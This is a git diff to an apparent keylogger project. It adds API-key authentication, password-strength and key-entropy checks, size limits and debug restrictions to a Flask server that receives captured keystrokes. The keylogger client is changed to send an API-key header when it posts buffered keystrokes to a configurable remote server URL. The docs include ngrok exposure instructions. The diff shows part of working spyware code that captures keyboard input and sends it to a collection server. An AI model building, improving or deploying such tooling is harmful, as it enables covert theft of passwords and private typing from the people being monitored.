diff --git a/README.md b/README.md index cc641e2..58ce852 100644 --- a/README.md +++ b/README.md @@ -85,9 +85,10 @@ Welcome to the **Keylogger Project**! This project demonstrates how a keylogger Edit `config/.env`: ```bash - WEB_SERVER_USERNAME=admin - WEB_SERVER_PASSWORD=your_secure_password_here + WEB_SERVER_USERNAME=admin_user + WEB_SERVER_PASSWORD=your_very_strong_password_here FLASK_DEBUG=False + LOG_INGEST_API_KEY=replace_with_random_long_api_key ``` ### Usage diff --git a/config/.env.example b/config/.env.example index 0153696..e597d94 100644 --- a/config/.env.example +++ b/config/.env.example @@ -1,7 +1,10 @@ # Web Server Authentication -WEB_SERVER_USERNAME=admin -WEB_SERVER_PASSWORD=change_this_password +WEB_SERVER_USERNAME=admin_user +WEB_SERVER_PASSWORD=change_this_to_a_very_strong_password # Flask Configuration FLASK_DEBUG=False FLASK_SECRET_KEY=generate_random_secret_key_here + +# Shared API key for keylogger -> server log ingestion (minimum 24 chars) +LOG_INGEST_API_KEY=replace_with_random_long_api_key diff --git a/docs/INSTALLATION.md b/docs/INSTALLATION.md index ea93f5b..fad45cf 100644 --- a/docs/INSTALLATION.md +++ b/docs/INSTALLATION.md @@ -103,14 +103,15 @@ mkdir -p logs ```bash # Web Server Authentication -WEB_SERVER_USERNAME=admin -WEB_SERVER_PASSWORD=your_secure_password_here +WEB_SERVER_USERNAME=admin_user +WEB_SERVER_PASSWORD=your_very_strong_password_here # Flask Configuration FLASK_DEBUG=False +LOG_INGEST_API_KEY=replace_with_random_long_api_key ``` -**Important:** Change the default password to a secure one! +**Important:** Use a strong password (minimum 12 characters) and an API key of at least 24 characters. ### 3. Set Environment Variables (Before Running) @@ -144,7 +145,7 @@ python3 src/server.py --config config/config.json **With command-line options:** ```bash -python3 src/server.py --port 8080 --debug +python3 src/server.py --host 127.0.0.1 --port 8080 --debug ``` **All options:** @@ -152,7 +153,7 @@ python3 src/server.py --port 8080 --debug - `--log-file PATH`: Override log file path - `--host HOST`: Host to bind to (default: 0.0.0.0) - `--port PORT`: Port to bind to (default: 5000) -- `--debug`: Enable debug mode +- `--debug`: Enable debug mode (localhost bindings only) ### Exposing Server with ngrok (Optional) diff --git a/src/keylogger.py b/src/keylogger.py index f04e87a..45f8a40 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -28,11 +28,13 @@ BANNER = r""" GitHub: https://github.com/Stalin-143 """ +MIN_API_KEY_LENGTH = 24 + class KeyLogger: """Keylogger class to handle keyboard input capture and logging.""" - def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True): + def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True, api_key=None): """ Initialize the KeyLogger. @@ -41,11 +43,13 @@ class KeyLogger: server_url (str): URL of the server to send logs to batch_size (int): Number of keystrokes before sending to server verify_ssl (bool): Whether to verify SSL certificates (default: True) + api_key (str): API key for authenticating log ingestion """ self.log_file_path = log_file_path self.server_url = server_url self.batch_size = batch_size self.verify_ssl = verify_ssl + self.api_key = api_key self.buffer = [] # Ensure the log directory exists @@ -72,9 +76,14 @@ class KeyLogger: try: log_data = ''.join(self.buffer) + headers = {} + if self.api_key: + headers["X-API-Key"] = self.api_key + response = requests.post( self.server_url, data={"log": log_data}, + headers=headers, timeout=10, verify=self.verify_ssl # Verify SSL certificates by default ) @@ -213,18 +222,25 @@ def main(): server_url = args.server_url or keylogger_config.get('server_url', '') batch_size = args.batch_size or keylogger_config.get('batch_size', 10) verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed + api_key = os.getenv('LOG_INGEST_API_KEY') if not server_url: print("Error: Server URL not configured.") print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) + + if not api_key: + sys.exit("ERROR: Ingestion API secret is required.") + + if len(api_key) < MIN_API_KEY_LENGTH: + sys.exit(f"ERROR: Ingestion API secret must be at least {MIN_API_KEY_LENGTH} characters.") if args.no_verify_ssl: print("⚠️ WARNING: SSL certificate verification is DISABLED!") print(" This is NOT recommended for production use.") # Create and start the keylogger - keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl) + keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl, api_key) keylogger.start() diff --git a/src/server.py b/src/server.py index 7da76f7..dc314e6 100644 --- a/src/server.py +++ b/src/server.py @@ -9,6 +9,7 @@ import sys import json import secrets import argparse +import string from functools import wraps from flask import Flask, render_template_string, send_file, request, Response @@ -24,17 +25,22 @@ BANNER = r""" Github: https://github.com/Stalin-143 """ -app = Flask(__name__) - -# Set a secure secret key for session management -app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) - -# Global configuration CONFIG = { 'log_file_path': 'logs/keylog.txt', 'username': 'admin', - 'password': 'admin' + 'password': 'admin', + 'api_key': None } +MAX_LOG_PAYLOAD_BYTES = 64 * 1024 +MIN_PASSWORD_LENGTH = 12 +MIN_API_KEY_LENGTH = 24 +MIN_API_KEY_UNIQUE_CHARS = 8 + +app = Flask(__name__) +app.config['MAX_CONTENT_LENGTH'] = MAX_LOG_PAYLOAD_BYTES + +# Set a secure secret key for session management +app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) def check_auth(username, password): @@ -82,6 +88,62 @@ def requires_auth(f): return decorated +def has_valid_api_key(): + """ + Validate API key for log ingestion endpoint. + + Returns: + bool: True when API key is configured and valid + """ + configured_api_key = CONFIG.get('api_key') + request_api_key = request.headers.get('X-API-Key') + + if not configured_api_key or not request_api_key: + return False + return secrets.compare_digest(request_api_key, configured_api_key) + + +def is_strong_password(password): + """ + Validate password complexity requirements. + + Args: + password (str): Password to validate + + Returns: + bool: True when password meets complexity requirements + """ + has_upper = any(char.isupper() for char in password) + has_lower = any(char.islower() for char in password) + has_digit = any(char.isdigit() for char in password) + has_special = any(char in string.punctuation for char in password) + has_min_length = len(password) >= MIN_PASSWORD_LENGTH + return has_min_length and has_upper and has_lower and has_digit and has_special + + +def has_sufficient_key_entropy(value): + """ + Basic entropy checks for shared API key quality. + + Args: + value (str): API key value + + Returns: + bool: True when key has enough character variety + """ + if not value: + return False + if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS: + return False + has_upper = any(char.isupper() for char in value) + has_lower = any(char.islower() for char in value) + has_digit = any(char.isdigit() for char in value) + has_special = any(char in string.punctuation for char in value) + if sum([has_upper, has_lower, has_digit, has_special]) < 3: + return False + return True + + # HTML template to display the log contents and provide a download link HTML_TEMPLATE = ''' @@ -210,8 +272,14 @@ def receive_log(): Success or error message """ try: + if not has_valid_api_key(): + return "Unauthorized", 401 + log_data = request.form.get('log', '') if log_data: + if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: + return "Log payload too large", 413 + log_file_path = CONFIG['log_file_path'] # Ensure log directory exists @@ -220,7 +288,7 @@ def receive_log(): os.makedirs(log_dir, exist_ok=True) # Append log data to file - with open(log_file_path, 'a') as f: + with open(log_file_path, 'a', encoding='utf-8') as f: f.write(log_data) return "Log received successfully", 200 @@ -297,6 +365,7 @@ def main(): # Load credentials from environment variables CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME') CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD') + CONFIG['api_key'] = os.getenv('LOG_INGEST_API_KEY') # Validate that credentials are set if not CONFIG['username'] or not CONFIG['password']: @@ -308,16 +377,37 @@ def main(): print("\nOr source your .env file:") print(" source config/.env") sys.exit(1) - - if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8: - print("⚠️ WARNING: Weak password detected!") - print(" Please use a strong password (at least 8 characters).") + + if CONFIG['password'] == 'admin': + sys.exit("ERROR: Authentication secret uses a disallowed default value.") + + if not is_strong_password(CONFIG['password']): + sys.exit( + "ERROR: Authentication secret must be at least 12 characters and include uppercase, " + "lowercase, number, and special character." + ) + + if not CONFIG['api_key']: + sys.exit("ERROR: Ingestion API secret is required.") + + if len(CONFIG['api_key']) < MIN_API_KEY_LENGTH: + sys.exit(f"ERROR: Ingestion API secret must be at least {MIN_API_KEY_LENGTH} characters.") + + if not has_sufficient_key_entropy(CONFIG['api_key']): + sys.exit( + f"ERROR: Ingestion API secret must contain at least {MIN_API_KEY_UNIQUE_CHARS} unique characters." + ) # Get server settings host = args.host or server_config.get('host', '0.0.0.0') port = args.port or server_config.get('port', 5000) debug = args.debug or server_config.get('debug', False) + if debug and host not in ('127.0.0.1', 'localhost', '::1'): + print("ERROR: Debug mode is only allowed on localhost interfaces.") + print("Use a local host binding or disable --debug.") + sys.exit(1) + print(f"\nStarting web server on {host}:{port}") print(f"Log file path: {CONFIG['log_file_path']}") print(f"Username: {CONFIG['username']}")